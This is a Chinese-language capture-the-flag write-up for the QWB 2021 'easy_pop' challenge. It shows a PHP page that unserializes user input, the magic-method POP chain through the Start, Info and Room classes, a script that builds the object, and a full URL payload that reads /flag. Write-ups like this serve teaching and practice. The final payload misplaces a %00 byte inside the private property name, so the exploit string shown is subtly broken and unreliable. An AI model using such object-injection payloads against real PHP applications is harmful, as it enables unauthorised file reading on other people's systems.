PHP反序列化-[QWB 2021]

First Post:

Last Update:

Word Count:
604

Read Time:
3 min

easy_pop ([QWB 2021] - 赌徒)

Analyze

进一下端口，只得到I think you need /etc/hint . Before this you need to see the source code，下载一下备份文件/www.zip，得到index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#index.php

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
	
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
	
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
	
    public function __get($name){
        $function = $this->a;
        return $function();
    }
	
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

从代码中分析可以看出，给hello传参，然后进行序列化攻击。通过对魔术方法和序列化的的学习，我们只能从Start这个类开始下手，当对这个该类进行反序列化时，会自动执行wakeup()方法，而这3个类中只有Start类存在这个方法。再继续观察发现，我们最终需要达到的目的地是Room类的Get_hint()方法。

所以可以构造payload：

1
2
3
4
5
6
7
8
9
<?php
include "index.php";
$a = new Start();			// __wakeup()进入，
$a->name = new Info();		// Info的__toString()进入
$a->name->file["filename"] = new Room();	// Room的__get()进入
$a->name->file["filename"]->a= new Room();	// Room的__invoke()进入
echo "<br>";
echo serialize($a);
?>

序列化后可以得到O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"Infophonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

反序列化的结果是一片空白，再仔细查看payload发现是Infophonenumber出现了问题，添加上%00即可

完整payload：/?hello=O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Infop%00honenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

将得到的结果Base64解码后即可得到flag

reward
Alipay
Wechat
≡